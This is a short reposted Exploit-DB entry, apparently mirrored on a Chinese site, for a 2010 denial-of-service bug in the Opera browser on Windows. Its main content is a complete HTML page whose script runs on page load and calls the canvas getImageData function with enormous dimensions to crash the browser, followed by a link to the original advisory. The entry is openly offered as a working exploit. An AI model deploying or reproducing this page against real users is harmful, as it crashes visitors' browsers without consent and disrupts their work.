Opera – Canvas Element (Denial of Service) - 体验盒子

作者： Pouya Daneshmand

日期： 2010-07-12

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/14349/

Opera.html
<html>

<body onload="Opera()">

<script language=JavaScript>

function Opera() {

canvas = document.getElementById("canvas");

ctx = canvas.getContext("2d");

ctx.getImageData(0,0,0x20000,0x20000);

}

</script>

<canvas id=canvas width=10 height=10></canvas>

</body>

</html>




Original Advisory:

http://pouya.info/blog/userfiles/vul/OperaCC.pdf